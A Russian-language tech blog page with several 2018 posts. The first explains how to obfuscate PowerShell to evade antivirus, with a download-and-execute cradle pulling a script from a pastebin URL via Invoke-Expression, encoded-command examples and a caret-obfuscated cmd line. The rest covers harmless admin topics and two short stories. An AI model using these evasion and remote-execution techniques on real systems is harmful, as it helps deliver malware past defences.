Главная

Wednesday, 26 December 2018

Жесткая обфускация в PowerShell.

Всем привет.

Как то я писал про кодирование команд в коде Powershell с параметром –EncodedCommand. Оказалось что тема обфускации в последнее время набирает популярности. Особенно в связи с тем что вирусня использует Powershell по полной для транспорта своей полезной нагрузки или своего запуска. 

А благодаря обфускации скрипт PowerShell можно спрятать от многих антивирусов.
Взгляните на эту строку. Что вы здесь видите?
;,,C^Md^,; ,^/^C^ ^ ", ( ((;,( ;(s^Et ^ ^ co^M3=^^ /^^an^o)) )))&&,,(,S^Et^ ^ ^cO^m2=^s^^ta^^t)&&(;(;;s^eT^ ^ C^oM1^=^n"^^e"t) ) &&, (( ;c^aLl,^;,S^e^T ^ ^ fi^NAl^=^%COm1^%%c^Om2%^%c^oM3^%))&&; (, ,(c^AlL^, ;,^ ;%Fi^nAl^%) ) "

Думаю - ничего. А ведь это всего лишь обфусцированная команда netstat /ano. Сегодня мы попробуем разобраться, как привести команды на PowerShell к такому виду. 

PowerShell в пентесте

Начнем с самого PowerShell. Почему в пентесте он используется так часто? Ну, как минимум потому, что PowerShell представляет собой командную оболочку и просто для понимания скриптовый язык, который используется в последних версиях операционной системы Windows. К тому же большая часть команд выполняется в памяти, что может помочь избежать детекта анвирусным ПО. Если на машине включено удаленное управление, то можно получить доступ к системе через зашифрованный трафик. Существуют отличные инструменты и фреймворки для работы с PowerShell. Также PowerShell можно вызывать из других  файлов (.bat, .doc, .xls, .ppt, .hta, .exe, .dll) и скриптов. С помощью PowerShell можно загружать код из интернета или файла на ПК и выполнять его. Для этого используется специальный командлет Invoke-Expression. Вот примеры использования.

Invoke-Expression -Command 'C:\directory\script.ps1'
'C:\directory\script.ps1' | Invoke-Expression
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebn.com/raw/MKM5QLaP')

Можно также использовать кодировку Base64. Для начала необходимо закодировать команды в Base64.

[Convert]::ToBase64String( [System.Text.Encoding]::Unicode.GetBytes('Ваш код'))

Перед выполнением надо будет декодировать их с помощью -EncodeCommand.

powershell -e RwBlAQALQBQAHIAbwBjGUAcwBzAA==
powershell -enc RwBlAHALQBQAHIAbwBjAGUAcwBzAA==
powershell -EncodedCommand RwBAHQALQBAHIAbwBjAGUAcwBzAA==

Процесс обфускации PowerShell довольно простой, так как это скриптовый язык и работает со строками, а не с исполняемым двоичным кодом. Итак, рассмотрим некоторые методы обфускации PowerShell. Будем рассматривать все на примере данной команды:

Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')

Для начала постораемся убрать System из строки System.Net.WebClient. На выполнение самой команды это никак не повлияет, так как нет никакой необходимости писать System в функциях .NET.

Invoke-Expression (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')

Saturday, 22 December 2018

Командлет Measure-Object.

Всем привет.

Нашел обсуждение любимого командлета в Powershell у одного автора. Они долго там спорили, но автор настаивает на своей преданности к Measure-Object. 

Командлет Measure-Object действительно интересный. С его помощью можно быстро подсчитать количество строк, символов и даже слов в файле.

Get-Content cccc.log | Measure-Object –Line
Get-Content cccc.log | Measure-Object –Character
Get-Content cccc.log | Measure-Object –Word

Lines Words Characters Property
----- ----- ---------- --------
    8                         
            307               
      25           

Это все можно зарядить и  в одну строку.

Get-Content 111.rtf | Measure-Object –Line –Word –Character
Get-Content cccc.log | Measure-Object –Line –Word –Character

Lines Words Characters Property
----- ----- ---------- --------
   10    15        323       
     8    25        307       

Тут же я вам показал что Measure-Object также весело обрабатывает  и файлы типа RTF. Но,  право, вывод его сомнителен. Точно также он покажет нечто и на файлы типа XLS или DOCX.

Успехов.

Thursday, 20 December 2018

Ровно 50 тысяч.

Всем привет.

Недавно на блоге был эмоциональный релакс "Версия 0.99". Если он вам не зашел, то сегодня есть возможность попробовать другую версию. Прошу прощения, но чей оригинал сейчас уже не помню. Давно это было. Если это важно... Поехали.

Пакет лежал прямо у двери - картонная коробка, на которой от руки были написаны их инициалы: "Мистеру и мисс Д+М=Л". Внутри оказалась маленькая черного цвета клавиатура с единственной подписанной кнопкой "Enter", закрытой стеклянным колпачком. Марго попыталась снять колпачок, но он не поддавался. К днищу коробочки липкой лентой был прикреплен сложенный листок бумаги: "Мистер Симпсон зайдет к вам в 20:00". Марго перечитала записку, отложила ее в сторону и, улыбаясь, пошла на кухню готовить салат.

Звонок в дверь раздался ровно в восемь.
- Я открою!- крикнула Марго с кухни. Дин читал в гостиной.
В коридоре стоял невысокий мужчина.
- Мисс Л?- вежливо осведомился он.- Я мистер Симпсон. - Ах, да...- Марго с трудом подавила улыбку. Теперь она была уверена, что это рекламный трюк какого-нибудь банка. Каждую неделю она выгребала из почтового ящика десятки рекламных буклетов на тему "оформляйте депозиты, берите кредиты…". 
- Разрешите войти?- спросил мистер Симпсон.
- Я сейчас занята. Так что, извините, просто вынесу вам вашу...
- Вы не хотите узнать, что это?
Марго молча повернулась.
- Это может оказаться выгодным...
- В денежном отношении?- вызывающе спросила она.
Мистер Симпсон кивнул.
- Именно.
Марго нахмурилась.
- Что вы продаете?
- Я ничего не продаю,- ответил он.
Из гостиной вышел Дин.
- Какое-то недоразумение?
Мистер Симпсон представился.
- А-а, эта клава...-Дин кивнул в сторону гостиной и улыбнулся.- Зачем она нам вообще?
- Я постараюсь объяснить,- сказал мистер Симпсон.- Разрешите войти?
Дин взглянул на Марго.
- Как знаешь,-сказала она. Он заколебался.
- Ну что ж, заходите.
Они прошли в гостиную. Мистер Симпсон сел в кресло и вытащил из внутреннего кармана пиджака маленький запечатанный конверт.
- Внутри находится ключ к колпачку, закрывающему клавишу,-пояснил он и положил конверт на журнальный столик.-Клавиатура соединена с компьютером в нашем офисе.
- Зачем?- спросил Дин.
- Если вы нажмете ее,- сказал мистер Симпсон,- где-то в мире умрет незнакомый вам человек, и вы получите бонус - ровно 50 тысяч.
Марго уставилась на посетителя широко раскрытыми глазами. Тот улыбался.
- О чем вы говорите?-недоуменно, спросил Дин.
Мистер Симпсон был удивлен:
- Разве я не объяснил?
- Это что, шутка?
- При чем тут шутка?- Совершенно серьезное предложение...
- Кого вы представляете?- перебила Марго.
Мистер Симпсон смутился.
- Боюсь, что я не могу ответить на этот вопрос. Тем не менее заверяю вас, что наша организация весьма представительна в этом мире.
- По-моему, вам лучше уйти,- заявил Дин, поднимаясь.
Мистер Симпсон встал с кресла.
- Пожалуйста. - И захватите вашу штуку.
- А может, подумаете день-другой?
Дин взял коробку и конверт и вложил их в руки Мистера Симпсона. Потом вышел в прихожую и распахнул дверь.
- Я оставлю свою карточку.- Мистер Симпсон положил на столик возле двери визитную карточку и ушел. Дин порвал ее пополам и бросил на стол.
- Как по-твоему, что все это значит?- спросила с дивана Марго.
- Мне плевать.
Она попыталась улыбнуться, но не смогла.
- И ни капельки не любопытно?.. Потом Дин стал читать, а Марго вернулась на кухню и закончила мыть посуду.
- Почему ты отказываешься говорить об этом?-спросила Марго.
Не прекращая чистить зубы, Дин поднял глаза я посмотрел на ее отражение в зеркале ванной.
- Разве тебя это не интригует?
- Меня это оскорбляет,- сказал Дин.
- Я понимаю, но...- Марго продолжала накручивать волосы на бигуди,- но ведь и интригует?..
- Ты думаешь, это шутка?-спросила она уже в спальне.
- Если шутка, то дурная.
Марго села на кровать и сбросила тапочки.
- Может быть, это психологи проводят какие-то исследования.
Дин пожал плечами.
- Может быть.
- Ты не хотел бы узнать? Он покачал головой.
- Но почему?
- Потому что это аморально.
Марго забралась под одеяло. Дин выключил свет к наклонился поцеловать ее.
- Спокойной ночи...

Wednesday, 19 December 2018

Hybrid Analysis как бесплатный сервис проверки файлов.

Всем привет.

Многие знают что для того чтобы развеять свои сомнения касательно безопасности скачанного с интернета файла, всегда можно открыть сервис VirusTotal и проверить файл на предмет вредоносного кода более чем 50-ю антивирусными программами. Выданные VirusTotal результаты можно считать окончательными, если наличие зловреда в файле определили сразу несколько антивирусов, причем это должны быть хорошо зарекомендовавшие себя программы, поскольку ложное срабатывание малоизвестными инструментами тоже не редкость. С другой стороны, расхожее мнение антивирусов может расцениваться как своего рода недостаток сервиса, способный ввести пользователя в заблуждение. VirusTotal использует сигнатуры, то есть готовые антивирусные базы, анализ производится без какой-либо эвристики. Разумеется, это не делает сервис малополезным, но было бы неплохо иметь под рукой какой-нибудь альтернативный инструмент определения угроз, использующий дополнительные механизмы анализа. Ну что же, такие инструменты есть. 

Одним из них, но единственным, является Hybrid Analysis - бесплатный сервис для проверки файлов и веб-страниц на предмет заражения вредоносным кодом.

В отличие от VirusTotal, представляющего собой солянку антивирусов, Hybrid Analysis является скорее песочницей. Когда вы отправляйте на проверку в файл, сервис запускает его в изолированной среде VirtualBox или VMware, а затем смотрит, как он поведет себя в системе. На основании произведенных файлом изменений выдается заключение о его безопасности или вредоносности. 

Tuesday, 18 December 2018

Ошибка №16 запуска Photoshop.

Всем привет.

Сегодня мой Photoshop CSx не запускался выдавая сообщение "Ошибка 16".  Эта ошибка справедлива и для Adobe Illustrator. 

В сети говорят что ошибка стара как мир и лечится просто - нужно дать права на запись обычному пользователю в каталог SLCache. 

Расположение каталога SLCache в зависимости от версии Windows и Photoshop:

(Photoshop 32 бита)
Windows 32 бит — диск:\Program Files\Common Files\Adobe\SLCache
Windows 64 бит — диск:\Program Files (x86)\Common Files\Adobe\SLCache

(Photoshop 64 бита)
Windows 64 бит — диск:\Program Files (x64)\Common Files\Adobe\SLCache

Это я себе на память записал.
И все.

Friday, 14 December 2018

Разрешить Windows исправлять размытость в приложениях.

Всем привет.

Не всем пользователям глубокое разрешение (FullHD) современного монитора в тему.

В Windows 7 была опция изменения масштаба экрана от 100% до 150%. Часто это приводило к неожиданных потерям пунктов меню или строки состояния в формах приложений которые не тестировались с такими фокусами.

Но в Windows 10 начиная с версии ядра 1803 появилась помощь в этом вопросе. А именно, на закладке "Дисплей" теперь есть опция "Дополнительные параметры масштабирования". Она может быть полезна для пользователей которые терпеть не могут современные мониторы с их разрешением и выставляют масштаб отображения всех элементов на экране больше чем 100%. При этом, как следствие, теряется резкость отображение окон как классических приложений так  и прикладного софта.



Так вот, там можно указать  "Разрешить Windows исправлять размытость в приложениях".  Результат такого шага следует оценивать лично.

Более того, можно также задать пользовательский размер масштабирования вплоть до 500%. Честно, даже экспериментировать не решаюсь.


Я сам не сторонник такого масштабирования, могут быть сюрпризы. Предпочитаю изменять разрешение монитора либо... его физические размеры.)

Успехов.

Thursday, 13 December 2018

Дьявол кроется в деталях.

Всем привет.

Бывает в жизни каждого творческого человека темная полоса. Или полоска. Будь то web-дизайнер, кодировщик или просто художник. Видимо это тот момент когда муза от него ушла и не спешит возвращаться. В такие моменты обычно рядом появляется другой персонаж. Ниже, как вариант, общение с одним из них. Смелее читатель...

- И зачем ты здесь?!

- Ха, испугался?

- Не дождешься, просто спросил.

- Так ты же в курсе, мы приходим всегда за своим..., но тебе волноваться рано, меня ты не интересуешь.

- Ух ты, это чего так? За что такая милость?

- Так ты никогда не каешься, и у Самого ничего не просишь. Ты как та нехристь. С тобой нам не интересно. Кто ты есть? В актив тебя не зачтешь... В пассиве не числишься. Скучновато как то.

- Хитро поешь... Уже принять чью-то сторону? Не вижу смысла!

- Ха ха,... многие вначале не видят.

- Вот после и решим.

- Ой ладно, после. Упссс, а я ведь могла зайти к близким тебе..., а?

- Только попробуй!

- Ой, ой,... как вы, люди, здесь предсказуемы. Так ты даже знаешь кого я сейчас имела ввиду?

- Не твое дело.

- Хм, дело может и не мое, а ты то сам не запутался? Ты ведь с Ним не общаешься, а тут вдруг беседа, да на пару страниц. Мое самолюбие уязвлено.

- Уже разнюхала. Переживешь!

- Само собой. Но у тебя же с Ним договор, будь он неладен. А так бы я тебя давно..., как это на твоем языке - перекрасила.

- Другого поищи. Сегодня цвет не твой!

- Уже нашла. Их пруд пруди. Но они в основном серые. Вот ты другое дело, твоя палитра богаче. Но вот куда ты ее мажешь...

- Куда хочу.

- Возможно, а кто это оценит?

- Уже не важно...

- Оооо, не криви душой, а то ведь заберу. Это важно было всегда, важно и сейчас. А хочешь я оценю?!

- Ты???

- Конечно. Легко, ты же видел сколько известных работ хвалят не Его, но меня. Дьявол кроется в деталях.
 
- Хм, а ты себя любишь.

- Мне что, если бы не вы. Чуть что не так, сразу зовут меня...

- Я тебя не звал.

- Да ладно, какая последняя идея с коллажем тебя посетила, а? Вот, ок, молчу молчу, но между нами...

- Между нами?!

- Ой, я его смутила..., скажу так - между мной и твоей, ммм, не очень светлой стороной мне нравится эта идея. Мне очень хочется увидеть результат! Извини, но нам тоже бывает скучно. Обещаю, ежели что, я тебе идею зачту, на потом. Дерзай!

- Больно надо, будет тебе.

- Хм, больно или нет, узнаем после. Ладно, у тебя время есть, а у меня его валом. Со своим главным цветом определишься позже. Много позже. Но мы обязательно еще встретимся. Твой цвет решит как я приду - к тебе или... за тобой. До встречи, мастер.


Monday, 10 December 2018

Дистрибутивы для Forensics анализа.

Всем привет.

В марте 2013-го я выложил в свободный доступ свое творение "Компьютерный инцидент – от теории к практике. CLI Forensic Toolkit." Разумеется за это время такая наука как форензика не утратила своей актуальности. Более того, ее применение стало еще шире. 

И вот я вычитывая очередной пост по этой теме решил восполнить пробел в моей книге. А именно пробел по софтверной лаборатории для специалиста по форензике. Потому как уже не всегда можно получить добро с очередным ЧП на "нам некогда, все носим и ставим по новой". Нужно все чаще разбираться кто же на самом деле напартачил - софт или человек, с умыслом или без.

Для анализа и сбора артефактов вам будет нужна специальная лаборатория. Мы будем акцентироваться только на программную составляющую экспертизы поэтому нам в качестве основы вполне хватит пула из нескольких виртуальных машин и специализированных дистрибутивов с необходимым софтом. Гипервизор 2-го уровня для виртуалки можно выбрать на свой вкус - это может быть бесплатный VirtualBox или VMware.

Можно предпочесть сборку Kali Linux, DEFT или Remnux. CAINE и Parrot OS тоже достойны внимания, не говоря уже о платных Encase и SMART Linux. А теперь чуть подробнее.

Kali Linux

Разработанный и финансируемый компанией Offensive Security Ltd., дистрибутив Kali Linux является одной из лучших и любимых операционных систем хакеров. Kali Linux - это дистрибутив Linux на базе Debian, предназначенный для расширенного тестирования безопасности и аудита уязвимостей. Он содержит несколько сотен инструментов, предназначенных для решения различных задач информационной безопасности, таких как тестирование на проникновение, исследование безопасности, компьютерная криминалистика. И да, это тот самый Linux который использовал Elliot в сериале «Mr. Robot».

Kali Linux - это проект с открытым исходным кодом, который можно установить на свой ПК. Тем не менее, общая концепция заключается в том, чтобы использовать систему как Live CD (USB), запускать всевозможные пробы, тесты и исследования сетевых целей. Он предназначен как для Windows, так и для Linux-ориентированных инструментов. Он также поддерживает установку беспроводного соединения, настройки MANA Evil Access Point, клавиатуру HID (такие как Teensy), а также Bad USB MITM.

Thursday, 6 December 2018

Мониторинг обновлений клиента McAfee.

Всем привет.

Решался вопрос как можно оценить прошло ли последнее обновление у только что установленного клиента McAfee. Оказалось что есть небольшая разница в обновлении клиента на рабочей станции. 

Из консоли VirusScan на компьютере пользователя для задачи AutoUpdate легко можно просмотреть журнал ее выполнения. Нужные сведения окажутся в самом низу файла. Сам файл, обычно, лежит здесь
C:\ProgramData\McAfee\DesktopProtection\UpdateLog.txt

13.03.2018 7:49:48 NT AUTHORITY\СИСТЕМА Запуск задачи: AutoUpdate
13.03.2018 7:50:13 NT AUTHORITY\СИСТЕМА Checking update packages from repository ePO_MCFORZA.
13.03.2018 7:50:13 NT AUTHORITY\СИСТЕМА Initializing update...
13.03.2018 7:50:13 NT AUTHORITY\СИСТЕМА Downloading catalog.z.
13.03.2018 7:50:35 NT AUTHORITY\СИСТЕМА Verifying catalog.z.
13.03.2018 7:50:36 NT AUTHORITY\СИСТЕМА Extracting catalog.z.
13.03.2018 7:50:36 NT AUTHORITY\СИСТЕМА Loading update configuration from: catalog.xml
и т.д.

Ежели настраивать задачу обновления как управляемый UpdateClient то следует не забыть отключить AutoUpdate для клиента в McAfee ePO.


В этом случае так же просто глянуть на журнал выполнения этой задачи из консоли VirusScan не получится, нет соответствующего пункта меню. И сам журнал теперь называется по другому и находится здесь
C:\ProgramData\McAfee\Agent\logs\McScript.log

К сожалению он хоть и текстовый, но содержит информацию несколько в другом формате чем упомянутый UpdateLog.txt. Плюс, мне пока непонятна отметка времени по каждому событию которая часто повторяет одни и те же секунды.

2018-07-28 08:52:56I#844udp_client Creating udp global broadcasting publisher.
2018-07-28 08:52:56I#844udp_client Created udp global broadcasting publisher.
2018-07-28 08:52:56I#844udp_client No of items to publish from all nics 1
и т.д.

Успехов.

Sunday, 2 December 2018

Что такое ToS, CoS, QoS и DSCP.

Всем привет.

При настройке полосы пропускания в Kerio Control надо указывать величину QoS DSCP. Т.е. языком оригинала  "QoS DSCP Value can be set by using traffic rules, but it can be set by other routers on the way, the client or/and the server". Неплохо бы уяснить разницу между этими терминами. Разберемся что нам знакомо, а что нет.

Для начала расшифруем аббревиатуры:
ToS - Type of Service, 
DSCP - Differenciated Services Code Point, 
CoS - Class of Service, 
QoS - Quality of Service.

При этом термин QoS объединяет первые три ToS, DSCP, CoS. QoS - Quality of Service (качество обслуживания) выражается в построении и обработке очереди пакетов с разным приоритетом по одному из алгоритмов DWRED (Distributed Weighted Random Early Detection), WFQ (weighted fair queueing), CAR(Committed Access Rate).

Аббревиатуры ToS и DSCP родственны - используются для обозначения специального байта данных стандартного заголовка IP-пакета. Этот байт несет информацию о приоритете трафика, который в бизнес-трафике обычно назначается для пакетов IP-телефонии (третий сетевой уровень L3). Поскольку этот один и тот же байт иногда интерпретируется по-разному (либо как ToS байт, либо как DS/DSCP байт), получается некоторая путаница, хотя смысл и принцип технологии приоритезации не меняется - пакеты, помеченные более высоким приоритетом, передаются быстрее (менее приоритетные становятся в очередь). Накладывание на пакеты битов приоритета еще называют "маркированием" трафика, и чтобы приоритезация действительно работала, на всем пути прохождения трафика биты приоритета должны быть проанализированы и обработаны на активном сетевом оборудовании (настраиваемые роутеры и коммутаторы). На рисунке показано расположение бит байта маркировки трафика (красным помечена наиболее важная, серым - неиспользуемая часть).


Когда используют терминологию ToS, то в контексте приоретизации имеют в виду 3 старшие бита P2..P0, кодирующие уровень приоритета от 0 (минимальный приоритет) до 7 (максимальный приоритет). Для IP-телефонии применяется уровень приоритета 5 (critical, ToS-байт равен 0xA0 или 10100000b), а для обычного трафика уровень 0 (routine, ToS-байт равен 0x00 или 00000000b). У Cisco есть для каждого уровня приоритета специальное имя (precedence critical, precedence flash и т. д., см. таблицу).

Saturday, 1 December 2018

И никакого Photoshop-a.

Всем привет.

Снега за день намело, надо лопатой поработать). Поэтому сегодня блиц.

Хочу показать как еще можно оформить рабочий стол. Чтобы не было скучно. Разумеется если корпоративная политика вам не указывает иное. Вот так я себе делал лет пять назад. 


Слово даю, здесь нет никакого Photoshop-a! А вам слабо?

Успехов, и не скучайте.